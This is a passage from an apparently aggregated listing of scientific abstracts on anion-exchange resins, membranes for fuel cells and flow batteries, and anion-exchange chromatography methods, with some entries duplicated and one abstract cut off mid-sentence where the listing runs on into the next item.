cm(3) g(-1). As an electrode material for supercapacitors application, the CNSs electrode possesses a large specific capacitance of 283 F g(-1) at 0.5 A g(-1) and excellent rate capability (64% retention ratio even at 50 A g(-1)) in 6 mol L(-1) KOH. Furthermore, CNSs symmetric supercapacitor exhibits specific energies of 17.2 W h kg(-1) at a power density of 224 W kg(-1) operated in the voltage range of 0-1.8 V in 0.5 mol L(-1) Na2SO4 aqueous electrolyte, and outstanding cyclability (retains about 96% initial capacitance after 5000 cycles). 20. Anion-exchange resin-based desulfurization process. Annual technical progress report, October 1, 1991--September 30, 1992 SciTech Connect Sheth, A.C.; Strevel, S.D.; Dharmapurikar, R. 1992-12-31 Under the current grant, the University of Tennessee Space Institute (UTSI) will carry out the bench scale evaluation and further development of the anion-exchange resin-based desulfurization concept to desulfurize alkali metal sulfates. This concept has been developed and patented by UTSI under US Patent No. 4,917,874. The developmental program proposed under this DOE grant includes screening of commercially available resins to select three candidate resins for further study. These three resins will undergo a series of experiments designed to test the resins` performance under different process conditions (including the use of spent MHD seed material). The best of these resins will be used in optimizing the regeneration step and in testing the effects of performance enhancers. The process schematic developed from the results will be used to estimate the related economics. During this reporting period, October 1, 1991 to September 30, 1992, analysis of batch mode screening experiments was completed to select three candidate resins for process variables study in the fixed-bed set-up. This setup was modified and the experiments were carded out to evaluate effects of major process variables. The analysis of fixed-bed experiments is going on and we have also started simple batch mode experiments to identify desirable conditions for resin regeneration step. We have also started simple process engineering type calculations to determine the trade-off between the solution concentration and the resulting evaporation/concentration load. 1. Oxygen evolution reaction characteristics of synthetic nickel-cobalt-oxide electrodes for alkaline anion-exchange membrane water electrolysis Koo, Tae Woo; Park, ChanSu; Kim, Yang Do; Lee, Dooyong; Park, Sungkyun; Lee, Jae Ho; Choi, Sung Mook; Choi, Chul Young 2015-11-01 A polymer electrolyte membrane water electrolysis system can produce high-purity hydrogen gases in a highly efficient manner. However, the level of hydrogen gas production is still small. In addition, noble-metal catalysts for the reaction in acidic environments, as well as an additional drying step to remove water contained in the hydrogen, are required. Therefore, water electrolysis system with high efficiency and lower cost, an alkaline anion-exchange membrane system that can produce high-purity hydrogen without a noble-metal catalyst, is needed. Nano-size NiCo2O4 powders were prepared by using a sol-gel method to achieve an efficient and economical water electrolysis system. When the powder was calcined at 450 °C, the crystallinity and the cyclic voltammogram measurement showed the best values. In addition, the 15-wt.% polytetrafluoroethylene mixed NiCo2O4 powders exhibited the largest cyclic voltammetry active area and the highest oxygen evolution reaction activity with the appropriate stability. 2. Catalytic activity of thiacalix[4]arenetetrasulfonate metal complexes on modified anion-exchangers for ascorbic acid oxidation. PubMed Odo, Junichi; Hirashima, Tomomi; Hayashida, Tomoko; Miyauchi, Asuka; Minemoto, Mami; Iuchi, Masato; Inoguchi, Masahiko 2013-01-01 The catalysis of ascorbic acid (AsA) oxidation by anion-exchangers modified with metal complexes of thiacalix[4]arenetetrasulfonate (Me-TCAS[4]A-500, Me=Mn(3+), Fe(3+), Co(3+), Ce(4+), Cu(2+), Zn(2+), Ni(2+), and H2) were investigated. Me-TCAS[4]A-500 (Me=Mn(3+), Fe(3+), Ce(4+), and Cu(2+)) all exhibited the ability to catalyze the oxidative reaction of AsA to dehydroascorbic acid. However, in the presence of high concentrations of AsA, only Cu(2+)-TCAS[4]A-500 was capable of complete oxidation of the acid. Moreover, after six repeat uses, Cu(2+)-TCAS[4]A-500 maintained high and relatively constant catalytic activity. Prior treatment of glucose solutions with Cu(2+)-TCAS[4]A-500, even in the presence of high AsA concentrations, enabled the satisfactory determination of glucose without interference by AsA. Cu(2+)-TCAS[4]A-500 will therefore be applicable as an artificial substitute for ascorbate oxidase, and may be useful as a means to eliminate AsA interference during the analysis of vital compounds such as glucose and uric acid. 3. Highly stable pyridinium-functionalized cross-linked anion exchange membranes for all vanadium redox flow batteries Zeng, L.; Zhao, T. S.; Wei, L.; Zeng, Y. K.; Zhang, Z. H. 2016-11-01 It has recently been demonstrated that the use of anion exchange membranes (AEMs) in vanadium redox flow batteries (VRFBs) can reduce the migration of vanadium ions through the membrane due to the Donnan exclusion effect among the positively charged functional groups and vanadium ions. However, AEMs are plagued by low chemical stability in harsh chemical environments. Here we propose and fabricate a pyridinium-functionalized cross-linked AEM for VRFBs. The pyridinium-functionalized bromomethylated poly (2,6-dimethyl-1,4-phenylene oxide) exhibits a superior chemical stability as a result of the strengthened internal cross-linking networks and the chemical inertness of the polymer backbone. Therefore, the membrane exhibits littler decay in a harsh environment for 20 days during the course of an ex situ immersion test. A cycling test also demonstrates that the VRFB assembled with the membrane enable to retain 80% of the initial discharge capacity over 537 cycles with a capacity decay rate of 0.037% cycle-1. Meanwhile, the membrane also shows a low vanadium permeability and a reasonably high conductivity in supporting electrolytes. Hence, all the measurements and performance tests reported in this work suggest that the membrane is a promising AEM for redox flow batteries to achieve excellent cycling stability and superior cell performance. 4. Quantitative determination of saccharides in dietary glyconutritional products by anion-exchange liquid chromatography with integrated pulsed amperometric detection. PubMed Eberendu, Alexis R; Booth, Christy; Luta, Gabriela; Edwards, Joshua A; McAnalley, Bill H 2005-01-01 A new technique for the assay of carbohydrates is described in which separation and quantification of neutral saccharides, aminosaccharides, glycuronic acids, and disaccharides may be accomplished in less than 50 min of total run time. This method involves optimized anion-exchange liquid chromatography coupled with integrated pulse amperometric detection. Complex carbohydrates from various sources, including dietary supplements, were hydrolyzed in a dilute solution of trifluoroacetic acid, freeze-dried, and reconstituted in water containing 2-deoxygalactose as the internal standard. The solution was filtered and separated on CarboPac PA20 column. The eluted saccharides were detected by oxidation on a gold electrode with quadruple-pulsed integrated amperometry. The calibration plots for the saccharides were linear with an average correlation coefficient of 0.999. Method precision regarding peak retention time and resolution used in the peak identifications was verified. With this method, previously difficult-to-separate saccharides, such as galactosamine, glucosamine, and N-acetylglucosamine, were successfully resolved from the neutral saccharides rhamnose, arabinose, and galactose. Mannose was also resolved from xylose, and de-acetylation of aminosaccharides prior to separation was not necessary. This technique provides an accurate and efficient means to assay carbohydrates in dietary supplements, which new federal regulations will soon mandate. 5. Assay for inorganic pyrophosphate in chondrocyte culture using anion-exchange high-performance liquid chromatography and radioactive orthophosphate labeling SciTech Connect Prins, A.P.; Kiljan, E.; v.d. Stadt, R.J.; v.d. Korst, J.K. 1986-02-01 A method is described for determination of inorganic pyrophosphate (PPi) in cell culture medium and in rabbit articular chondrocytes grown in the presence of radioactive orthophosphate (/sup 32/Pi). Intra- and extracellular /sup 32/PPi formed was measured using high-performance liquid chromatographic (HPLC) separation of the PPi from orthophosphate (Pi) and other phosphate-containing compounds. The chromatographic separation on a weak anion-exchange column is based on the extent to which various phosphate compounds form complexes with Mg2+ at low pH and the rate at which such formation occurs. These complexes are eluted more readily than the uncomplexed compounds. Best results were obtained using a simultaneous gradient of Mg2+ ions and ionic strength. In this case separation of small amounts of PPi from a large excess of Pi was possible without prior removal of Pi or extraction of the PPi fraction. The assay is also useful for measurement of inorganic pyrophosphatase activity. The sensitivity of the assay depends on the specific activity of the added /sup 32/Pi and on the culture conditions, but is comparable with the most sensitive of the enzymatic assays. Sample preparation, particularly deproteinization, proved to be of importance. The losses of PPi which occur during procedures of this sort due to hydrolysis and coprecipitation were quantitated. 6. Improvement of sugar analysis sensitivity using anion-exchange chromatography-electrospray ionization mass spectrometry with sheath liquid interface. PubMed Xu, Xian-Bing; Liu, Ding-Bo; Guo, Xiao Ming; Yu, Shu-Juan; Yu, Pei 2014-10-31 A novel interface that enables high-performance anion-exchange chromatography (HPAEC) to be coupled with electrospray ionization (ESI) mass spectrometry (MS) is reported. A sheath liquid consisting of 50mM NH4Ac in isopropanol with 0.05% acetic acid, infused at a flow rate of 3μL/min at the tip of the electrospray probe, requires less ESI source cleaning and promotes efficient ionization of mono- and di-carbohydrates. The results suggest that use of a sheath liquid interface rather than a T-joint allows volatile ammonium salts to replace non-volatile metal salts as modifiers for improving sugar ESI signals. The efficient ionization of mono- and di-carbohydrates in the ESI source is affected by the sheath liquid properties such as buffer concentration and type of organic solvent. HPAEC-ESI-MS was used for the analysis of monocarbohydrates in pectins, particularly co-eluted sugars, and the performance was evaluated. Addition of a make-up solution through the sheath liquid interface proved to be an efficient tool for enhancing the intensities of sugars analyzed using HPAEC-ESI-MS. 7. Determination of saccharides in atmospheric aerosol using anion-exchange high-performance liquid chromatography and pulsed-amperometric detection. PubMed Caseiro, Alexandre; Marr, Iain L; Claeys, Magda; Kasper-Giebl, Anne; Puxbaum, Hans; Pio, Casimiro A 2007-11-09 An improved method is described for the quantification of primary sugars, sugar alcohols and anhydrosugars in atmospheric aerosols, making use of separation by high-performance anion-exchange chromatography (HPAEC) with pulsed amperometric detection (PAD). Quartz fibre filters from high-volume samplers were extracted with water and the extract injected directly. Repeatability is typically 4% RSD, for e.g. levoglucosan at 50 ng m(-3) in air, better for winter levels around 700 ng m(-3). Limits of detection for individual sugars are in the range 0.02-0.05 microg mL(-1) in solution, corresponding to 2-5 ng m(-3) from a 20 m(3) air sample. The overlap of arabitol and levogluocosan is overcome by using a Dionex PA-1 column, with appropriate control of eluent composition, and peak deconvolution software, allowing quantification of both sugars in difficult summer samples containing low-levels of levoglucosan. Analysis of a set of ambient aerosol samples by both GC-flame ionization detection and HPAEC-PAD shows good agreement. The new method has the advantage of requiring no sample pretreatment or derivatization and is thus well suited to handling large numbers of samples. 8. Arsenic(V) removal from aqueous solutions using an anion exchanger derived from coconut coir pith and its recovery. PubMed Anirudhan, T S; Unnithan, Maya R 2007-01-01 The performance of a new anion exchanger (AE) prepared from coconut coir pith (CP), for the removal of arsenic(V) [As(V)] from aqueous solutions was evaluated in this study. The adsorbent (CP-AE) carrying dimethylaminohydroxypropyl weak base functional group was synthesized by the reaction of CP with epichlorohydrin and dimethylamine followed by treatment of hydrochloric acid. IR spectroscopy results confirm the presence of -NH(+)(CH(3))(2)Cl(-) group in the adsorbent. XRD studies confirm the decrease of crystallinity in CP-AE compared to CP, and it favours the protrusion of the functional group into the aqueous medium. Batch experiments were conducted to examine the efficiency of the adsorbent on As(V) removal. Maximum removal of 99.2% was obtained for an initial concentration of 1 mgl(-1) As(V) at pH 7.0 and an adsorbent dose of 2 gl(-1). The kinetics of sorption of As(V) onto CP-AE was described using the pseudo-second-order model. The equilibrium isotherms were determined for different temperatures and the results were analysed using the Langmuir equation. The temperature dependence indicates an exothermic process. Utility of the adsorbent was tested by removing As(V) from simulated groundwater. Regeneration studies were performed using 0.1N HCl. Batch adsorption-desorption studies illustrate that CP-AE could be used to remove As(V) from ground water and other industrial effluents. 9. Quantification of genetically modified soya using strong anion exchange chromatography and time-of-flight mass spectrometry. PubMed Chang, Po-Chih; Reddy, P Muralidhar; Ho, Yen-Peng 2014-09-01 Stable-isotope dimethyl labeling was applied to the quantification of genetically modified (GM) soya. The herbicide-resistant gene-related protein 5-enolpyruvylshikimate-3-phosphate synthase (CP4 EPSPS) was labeled using a dimethyl labeling reagent, formaldehyde-H2 or -D2. The identification and quantification of CP4 EPSPS was performed using matrix-assisted laser desorption/ionization mass spectrometry (MALDI-MS). The CP4 EPSPS protein was separated from high abundance proteins using strong anion exchange chromatography and sodium dodecyl sulfate-polyacrylamide gel electrophoresis. Then, the tryptic peptides from the samples and reference were labeled with formaldehyde-H2 and formaldehyde-D2, respectively. The two labeled pools were mixed and analyzed using MALDI-MS. The data showed a good correlation between the peak ratio of the H- and D-labeled peptides and the GM soya percentages at 0.5, 1, 3, and 5 %, with R (2) of 0.99. The labeling reagents are readily available. The labeling experiments and the detection procedures are simple. The approach is useful for the quantification of GM soya at a level as low as 0.5 %. 10. The oxidative degradation of polystyrene resins on the removal of Cr(VI) from wastewater by anion exchange. PubMed Xiao, Ke; Xu, Fuyuan; Jiang, Linhua; Dan, Zhigang; Duan, Ning 2016-08-01 Cr(VI) is a powerful oxidant and is capable of oxidizing most of the organic materials. Therefore, it is possible for Cr(VI) to oxidize the polymeric resins and change the sorption properties of the resins on the removal of Cr(VI) from wastewater by anion exchange. In this study, three polystyrene resins (D201, D202, and D301) with different functional groups (-N(+)(CH3)3, -N(+)(CH3)2(C2H4OH), and N(CH3)2) were assessed on oxidation stability for Cr(VI) removal from wastewater in fixed-bed column experiments. After a 10-cycle operation, due to the oxidation of the resin, the sorption capacity of D201, D202, and D301 resins decreased by 23.5, 29.3, and 17.3%, when approximately 20-34%, 31-50%, and 18-30% of Cr(VI) was reduced to Cr(III) during each cycle respectively. The results of the Fourier transform infrared spectroscopy (FT-IR) showed that both the cleavage of CN and the formation of CO bonds occurred on the polystyrene resins during the Cr(VI) removal process. The resin simulation experiments further validated the oxidation of CC and CN bonds connected with phenethyl groups. Based upon the results from column operations and the resin simulated experiments, the oxidation mechanism of the polystyrene resin was proposed. 11. Effect of dissolved organic matter on nitrate-nitrogen removal by anion exchange resin and kinetics studies. PubMed Song, Haiou; Yao, Zhijian; Wang, Mengqiao; Wang, Jinnan; Zhu, Zhaolian; Li, Aimin 2013-01-01 The effects of dissolved organic matter (DOM) on the removal of nitrate-nitrogen from the model contaminated water have been investigated utilizing the strong base anion exchange resins. With the increase of gallic acid concentration from 0 to 400 mg/L, the adsorption amount of nitrate-nitrogen on the commercial resins, including D201, Purolite A 300 (A300) and Purolite A 520E (A520E), would significantly decrease. However, the presence of tannin acid has little impact on nitrate-nitrogen adsorption on them.Compared to D201 and A300 resins, A520E resin exhibited more preferable adsorption ability toward nitrate-nitrogen in the presence of competing organic molecules, such as gallic acid and tannin acid at greater levels in aqueous solution. Attractively, the equilibrium data showed that the adsorption isotherm of nitrate-nitrogen on A520E resin was in good agreement with Langmuir and Freundlich equations. The rate parameters for the intra particle diffusion have been estimated for the different initial concentrations. In batch adsorption processes, nitrate-nitrogen diffuse in porous adsorbent and rate process usually depends on t1/2 rather than the contact time. The pseudo first- and the second-order kinetic models fit better for nitrate-nitrogen adsorption onto A520E resin. The observations reported herein illustrated that A520E resin will be an excellent adsorbent for enhanced removal of nitrate-nitrogen from contaminated groundwater. 12. Ion Mobility Spectrometry-Hydrogen Deuterium Exchange Mass Spectrometry of Anions: Part 2. Assessing Charge Site Location and Isotope Scrambling. PubMed Khakinejad, Mahdiar; Kondalaji, Samaneh Ghassabi; Donohoe, Gregory C; Valentine, Stephen J 2016-03-01 Ion mobility spectrometry (IMS) coupled with gas-phase hydrogen deuterium exchange (HDX)-mass spectrometry (MS) and molecular dynamic simulations (MDS) has been used for structural investigation of anions produced by electrospraying a sample containing a synthetic peptide having the sequence KKDDDDDIIKIIK. In these experiments the potential of the analytical method for locating charge sites on ions as well as for utilizing collision-induced dissociation (CID) to reveal the degree of deuterium uptake within specific amino acid residues has been assessed. For diffuse (i.e., more elongated) [M - 2H](2-) ions, decreased deuterium content along with MDS data suggest that the D4 and D6 residues are charge sites, whereas for the more diffuse [M - 3H](3-) ions, the data suggest that the D4, D7, and the C-terminus are deprotonated. Fragmentation of mobility-selected, diffuse [M - 2H](2-) ions to determine deuterium uptake at individual amino acid residues reveals a degree of deuterium retention at incorporation sites. Although the diffuse [M - 3H](3-) ions may show more HD scrambling, it is not possible to clearly distinguish HD scrambling from the expected deuterium uptake based on a hydrogen accessibility model. The capability of the IMS-HDX-MS/MS approach to provide relevant details about ion structure is discussed. Additionally, the ability to extend the approach for locating protonation sites on positively-charged ions is presented. 13. Ion Mobility Spectrometry-Hydrogen Deuterium Exchange Mass Spectrometry of Anions: Part 3. Estimating Surface Area Exposure by Deuterium Uptake. PubMed Khakinejad, Mahdiar; Kondalaji, Samaneh Ghassabi; Donohoe, Gregory C; Valentine, Stephen J 2016-03-01 Gas-phase hydrogen deuterium exchange (HDX), collision cross section (CCS) measurement, and molecular dynamics simulation (MDS) techniques were utilized to develop and compare three methods for estimating the relative surface area exposure of separate peptide chains within bovine insulin ions. Electrosprayed [M - 3H](3-) and [M - 5H](5-) insulin ions produced a single conformer type with respective collision cross sections of 528 ± 5 Å(2) and 808 ± 2 Å(2). [M - 4H](4-) ions were comprised of more compact (Ω = 676 ± 3 Å(2)) and diffuse (i.e., more elongated, Ω = 779 ± 3 Å(2)) ion conformer types. Ions were subjected to HDX in the drift tube using D2O as the reagent gas. Collision-induced dissociation was used to fragment mobility-selected, isotopically labeled [M - 4H](4-) and [M - 5H](5-) ions into the protein subchains. Deuterium uptake levels of each chain can be explained by limited inter-chain isotopic scrambling upon collisional activation. Using nominal ion structures from MDS and a hydrogen accessibility model, the deuterium uptake for each chain was correlated to its exposed surface area. In separate experiments, the per-residue deuterium content for the protonated and deprotonated ions of the synthetic peptide KKDDDDDIIKIIK were compared. The differences in deuterium content indicated the regional HDX accessibility for cations versus anions. Using ions of similar conformational type, this comparison highlights the complementary nature of HDX data obtained from positive- and negative-ion analysis. 14. Electrochemical and fuel cell evaluation of Co based catalyst for oxygen reduction in anion exchange polymer membrane fuel cells Mamlouk, M.; Kumar, S. M. Senthil; Gouerec, Pascal; Scott, Keith Co based catalyst were evaluated for oxygen reduction (ORR) in liquid KOH and alkaline anion exchange membrane fuel cells (AAEMFCs). In liquid KOH solution the catalyst exhibited good performance with an onset potential 120 mV more negative than platinum and a Tafel slope of ca. 120 mV dec -1. The hydrogen peroxide generated, increased from 5 to 50% as the electrode potential decreased from 175 to -300 mV vs. SHE. In an AAEMFC environment, one catalyst (GP2) showed promising performance for ORR, i.e. at 50 mA cm -2 the differences in cell potential between the stable performance for platinum (more positive) and cobalt cathodes with air and oxygen, were only 45 and 67 mV respectively. The second catalyst (GP4) achieved the same stable power density as with platinum, of 200 and 145 mW cm -2, with air at 1 bar (gauge) pressure and air (atm) cathode feed (60 °C), respectively. However the efficiency was lower (i.e. cell voltage was lower) i.e. 40% in comparison to platinum 47.5%. 15. Ion Mobility Spectrometry-Hydrogen Deuterium Exchange Mass Spectrometry of Anions: Part 2. Assessing Charge Site Location and Isotope Scrambling Khakinejad, Mahdiar; Ghassabi Kondalaji, Samaneh; Donohoe, Gregory C.; Valentine, Stephen J. 2016-03-01 Ion mobility spectrometry (IMS) coupled with gas-phase hydrogen deuterium exchange (HDX)-mass spectrometry (MS) and molecular dynamic simulations (MDS) has been used for structural investigation of anions produced by electrospraying a sample containing a synthetic peptide having the sequence KKDDDDDIIKIIK. In these experiments the potential of the analytical method for locating charge sites on ions as well as for utilizing collision-induced dissociation (CID) to reveal the degree of deuterium uptake within specific amino acid residues has been assessed. For diffuse (i.e., more elongated) [M - 2H]2- ions, decreased deuterium content along with MDS data suggest that the D4 and D6 residues are charge sites, whereas for the more diffuse [M - 3H]3- ions, the data suggest that the D4, D7, and the C-terminus are deprotonated. Fragmentation of mobility-selected, diffuse [M - 2H]2- ions to determine deuterium uptake at individual amino acid residues reveals a degree of deuterium retention at incorporation sites. Although the diffuse [M - 3H]3- ions may show more HD scrambling, it is not possible to clearly distinguish HD scrambling from the expected deuterium uptake based on a hydrogen accessibility model. The capability of the IMS-HDX-MS/MS approach to provide relevant details about ion structure is discussed. Additionally, the ability to extend the approach for locating protonation sites on positively-charged ions is presented. 16. Ion Mobility Spectrometry-Hydrogen Deuterium Exchange Mass Spectrometry of Anions: Part 3. Estimating Surface Area Exposure by Deuterium Uptake Khakinejad, Mahdiar; Ghassabi Kondalaji, Samaneh; Donohoe, Gregory C.; Valentine, Stephen J. 2016-03-01 Gas-phase hydrogen deuterium exchange (HDX), collision cross section (CCS) measurement, and molecular dynamics simulation (MDS) techniques were utilized to develop and compare three methods for estimating the relative surface area exposure of separate peptide chains within bovine insulin ions. Electrosprayed [M - 3H]3- and [M - 5H]5- insulin ions produced a single conformer type with respective collision cross sections of 528 ± 5 Å2 and 808 ± 2 Å2. [M - 4H]4- ions were comprised of more compact (Ω = 676 ± 3 Å2) and diffuse (i.e., more elongated, Ω = 779 ± 3 Å2) ion conformer types. Ions were subjected to HDX in the drift tube using D2O as the reagent gas. Collision-induced dissociation was used to fragment mobility-selected, isotopically labeled [M - 4H]4- and [M - 5H]5- ions into the protein subchains. Deuterium uptake levels of each chain can be explained by limited inter-chain isotopic scrambling upon collisional activation. Using nominal ion structures from MDS and a hydrogen accessibility model, the deuterium uptake for each chain was correlated to its exposed surface area. In separate experiments, the per-residue deuterium content for the protonated and deprotonated ions of the synthetic peptide KKDDDDDIIKIIK were compared. The differences in deuterium content indicated the regional HDX accessibility for cations versus anions. Using ions of similar conformational type, this comparison highlights the complementary nature of HDX data obtained from positive- and negative-ion analysis. 17. Quaternized adamantane-containing poly(aryl ether ketone) anion exchange membranes for vanadium redox flow battery applications Zhang, Bengui; Zhang, Shouhai; Weng, Zhihuan; Wang, Guosheng; Zhang, Enlei; Yu, Ping; Chen, Xiaomeng; Wang, Xinwei 2016-09-01 Quaternized adamantane-containing poly(aryl ether ketone) anion exchange membranes (QADMPEK) are prepared and investigated for vanadium redox flow batteries (VRFB) application. The bulky, rigid and highly hydrophobic adamantane segment incorporated into the backbone of membrane material makes QADMPEK membranes have low water uptake and swelling ratio, and the as-prepared membranes display significantly lower permeability of vanadium ions than that of Nafion117 membrane. As a consequence, the VRFB cell with QADMPEK-3 membrane shows higher coulombic efficiency (99.4%) and energy efficiency (84.0%) than those for Nafion117 membrane (95.2% and 80.5%, respectively) at the current density of 80 mA cm-2. Furthermore, at a much higher current density of 140 mA cm-2, QADMPEK membrane still exhibits better coulombic efficiency and energy efficiency than Nafion117 membrane (coulombic efficiency 99.2% vs 96.5% and energy efficiency 76.0% vs 74.0%). Moreover, QADMPEK membranes show high stability in in-situ VRFB cycle test and ex-situ oxidation stability test. These results indicate that QADMPEK membranes are good candidates for VRFB applications. 18. Vacancy ion-exclusion/adsorption chromatography of aliphatic amines on a polymethacrylate-based weakly basic anion-exchange column. PubMed Mori, Masanobu; Helaleh, Murad I H; Xu, Qun; Hu, Wenzhi; Ikedo, Mikaru; Ding, Ming-Yu; Taoda, Hiroshi; Tanaka, Kazuhiko 2004-06-11 Vacancy ion-exclusion/adsorption chromatography has been applied to investigate the separation behavior of five aliphatic amines (ethylamine, propylamine, butylamine, pentylamine and hexylamine) on a polymethacrylate-based weakly basic anion-exchange column (Tosoh TSKgel DEAE-5PW). This system is consisted of analytes as a mobile phase and water as an injected sample. In the vacancy ion-exclusion/adsorption chromatography, the elution order was as follows: ethylamine < propylamine < butylamine < pentylamine < hexylamine, depending on their hydrophobicity. The retention times of the amines were decreased with decreasing their concentrations in the mobile phase. The retention times and resolutions of the amines were increased by adding a basic compound (e.g., lithium hydroxide or heptylamine) and by increasing the pH of mobile phase (pH > 11). This was because the dissociations of amine samples in the mobile phase were suppressed and thus the hydrophobic adsorption effects were enhanced. The linearity of calibration graphs could be obtained from the peak areas of the amine samples injected to the 0.05, 0.5 and 5 mM of amine mobile phase at pH 11 by heptylamine. The detection limits of aliphatic amines as injected samples were around 1 microM for five aliphatic amines at three different amine mobile phases. From these results, the retention behaviors of aliphatic amines on vacancy ion-exclusion/adsorption chromatography were concluded to be governed by the hydrophobic adsorption effect. 19. Improved electrical power production of thermally regenerative batteries using a poly(phenylene oxide) based anion exchange membrane Rahimi, Mohammad; Zhu, Liang; Kowalski, Kelly L.; Zhu, Xiuping; Gorski, Christopher A.; Hickner, Michael A.; Logan, Bruce E. 2017-02-01 Thermally regenerative ammonia-based batteries (TRABs) can be used to harvest low-grade waste heat as electrical power. To improve TRAB performance, a series of benzyltrimethyl quaternary ammonium-functionalized poly(phenylene oxide) anion exchange membranes (BTMA-AEMs) were examined for their impact on performance relative to a commercial AEM (Selemion AMV). The synthesized AEMs had different degrees of functionalization (DF; 25% and 40%), and thicknesses (50, 100 and 150 μm). Power and energy densities were shown to be a function of both DF and membrane thickness. The power density of TRAB increased by 31% using a BTMA-AEM (40% DF, 50 μm thick; 106 ± 7 W m-2) compared to the Selemion (81 ± 5 W m-2). Moreover, the energy density increased by 13% when using a BTMA-based membrane (25% DF, 150 μm thick; 350 Wh m-3) compared to the Selemion membrane (311 Wh m-3). The thermal-electric conversion efficiency improved to 0.97% with the new membrane compared to 0.86% for the Selemion. This energy recovery was 7.0% relative to the Carnot efficiency, which was 1.8 times greater than the highest previously reported value of a system used to capture low-grade waste heat as electricity. 20. Kinetics and Mechanism of the Sorption of Some Aromatic Amines onto Amberlite IRA-904 Anion-Exchange Resin. PubMed Zaki; El-Sheikh; Evans; El-Safty 2000-01-01 The kinetics of the sorption of aromatic amines such as o-aminophenol (o-AP), o-phenylenediamine (o-PDA), and p-phenylenediamine (p-PDA) onto Amberlite anion-exchange resin in chloride form was investigated in batch experiments spectrophotometrically at different temperatures. The sorption rate is zero order in all amines sorbed, increasing directly in the order: p-PDA 1. Dissolved organic matter removal using magnetic anion exchange resin treatment on biological effluent of textile dyeing wastewater. PubMed Fan, Jun; Li, Haibo; Shuang, Chendong; Li, Wentao; Li, Aimin 2014-08-01 This study investigated the removal of dissolved organic matter (DOM) from real dyeing bio-treatment effluents (DBEs) with the use of a novel magnetic anion exchange resin (NDMP). DOMs in two typical DBEs were fractionized using DAX-8/XAD-4 resin and ultrafiltration membranes. The hydrophilic fractions and the low molecular weight (MW) (<3kDa) DOM fractions constituted a major portion (>50%) of DOMs for the two effluents. The hydrophilic and low MW fractions of both effluents were the greatest contributors of specific UV254 absorbance (SUVA254), and the SUVA254 of DOM fractions decreased with hydrophobicity and MW. Two DBEs exhibited acute and chronic biotoxicities. Both acute and chronic toxicities of DOM fractions increased linearly with the increase of SUVA254 value. Kinetics of dissolved organic carbon (DOC) removal via NDMP treatment was performed by comparing it with that of particle active carbon (PAC). Results indicated that the removal of DOC from DBEs via NDMP was 60%, whereas DOC removals by PAC were lower than 15%. Acidic organics could be significantly removed with the use of NDMP. DOM with large MW in DBE could be removed significantly by using the same means. Removal efficiency of NDMP for DOM decreased with the decrease of MW. Compared with PAC, NDMP could significantly reduce the acute and chronic bio-toxicities of DBEs. NaCl/NaOH mixture regenerants, with selected concentrations of 10% NaCl (m/m)/1% NaOH (m/m), could improve desorption efficiency. 2. [Simultaneous analysis of trehalose, glucose and maltose in biotransformation samples by high performance anion exchange chromatography with pulsed ampere detection]. PubMed Xu, Ying; Zang, Ying; Jiang, Ting; Zheng, Zhaojuan; Quyang, Jia 2014-12-01 An analytical method for the determination of trehalose, maltose, and glucose in biotransformation samples was developed by using high performance anion exchange chromatography coupled with pulsed ampere detection (HPAEC-PAD). The analysis was performed on a CarboPac™ 10 column (250 mm x 2 mm) with the gradient elution of NaOH-NaAc as the mobile phase. The column temperature was set at 30 °C, the flow rate was 0. 30 mL/min. The results showed that trehalose, maltose, and glucose in biotransformation system were completely separated and determined in 15 min. The linear ranges and the working curves were determined by using standard samples. The correlation coefficients of three kinds of carbohydrates were over 0. 9998 . The detection limits (LODs) were 0. 010 - 0. 100 mg/L. Under the optimized separation conditions, the recoveries of saccharides in the transformation system at three different spiked levels ranged from 89. 4% to 103. 2%. In biotransformation system, 50 IU trehalose synthase were added into 200 g/L maltose for reaction of 8 h at 37 °C, pH 8. 0. Under the above conditions, the concentration of trehalose in biotransformation sample was 101. 084 g/L, and the conversion rate of trehalose reached 50. 5%. The method can be applied to determine the composition in the transformation system with the advantages of simplicity and convenience. 3. Characterization of At- species in simple and biological media by high performance anion exchange chromatography coupled to gamma detector. PubMed Sabatié-Gogova, A; Champion, J; Huclier, S; Michel, N; Pottier, F; Galland, N; Asfari, Z; Chérel, M; Montavon, G 2012-04-06 Astatine is a rare radioelement belonging to the halogen group. Considering the trace amounts of astatine produced in cyclotrons, its chemistry cannot be evaluated by spectroscopic tools. Analytical tools, provided that they are coupled with a radioactive detection system, may be an alternative way to study its chemistry. In this research work, high performance anion exchange chromatography (HPAEC) coupled to a gamma detector (γ) was used to evaluate astatine species under reducing conditions. Also, to strengthen the reliability of the experiments, a quantitative analysis using a reactive transport model has been done. The results confirm the existence of one species bearing one negative charge in the pH range 2-7.5. With respect to the other halogens, its behavior indicates the existence of negative ion, astatide At(-). The methodology was successfully applied to the speciation of the astatine in human serum. Under fixed experimental conditions (pH 7.4-7.5 and redox potential of 250 mV) astatine exists mainly as astatide At(-) and does not interact with the major serum components. Also, the method might be useful for the in vitro stability assessment of (211)At-labeled molecules potentially applicable in nuclear medicine. 4. Combination of Na-modified zeolite and anion exchange resin for advanced treatment of a high ammonia-nitrogen content municipal effluent. PubMed Zhang, Haiyun; Li, Aimin; Zhang, Wei; Shuang, Chendong 2016-04-15 In this study, the exchange equilibrium and kinetic experiments of ammonia-nitrogen on the Na-form zeolite were conducted. The results indicated that the presence of humic acid have a negative effect on the equilibrium exchange capacity but have limited influence on the equilibrium time except shorten the sole intra-particle diffusion control time. The exchange equilibrium data could be well fitted by Freundlich model in the absence of humic acid but Langmuir model in the presence of humic acid. While the exchange kinetic data could be well described by pseudo-second-order kinetic model in both situations. An anion exchange resin exhibited high removal efficiency to humic acid and dissolved organic matter through kinetic results and fluorescence excitation-emission matrix (EEM) spectroscopy results. The use of the anion exchange resin prior to the Na-form zeolite improved the ammonia-nitrogen removal efficiency from 78% to 95% and increased the treatment volume of the Na-form zeolite from 51 BV (bed volume) to 76 BV. Both the resin and the Na-form zeolite could be successfully regenerated by the combination of alkaline and sodium chloride. Complete elution of ammonia-nitrogen was achieved when the mass percentage of sodium chloride and alkaline was 10% and 0.6% respectively. 5. Microcalorimetric study of adsorption and disassembling of virus-like particles on anion exchange chromatography media. PubMed Yu, Mengran; Zhang, Songping; Zhang, Yan; Yang, Yanli; Ma, Guanghui; Su, Zhiguo 2015-04-03 Chromatographic purification of virus-like particles (VLPs) is important to the development of modern vaccines. However, disassembly of the VLPs on the solid-liquid interface during chromatography process could be a serious problem. In this study, isothermal titration calorimetric (ITC) measurements, together with chromatography experiments, were performed on the adsorption and disassembling of multi-subunits hepatitis B virus surface antigen virus-like particles (HB-VLPs). Two gigaporous ion-exchange chromatography (IEC) media, DEAE-AP-280 nm 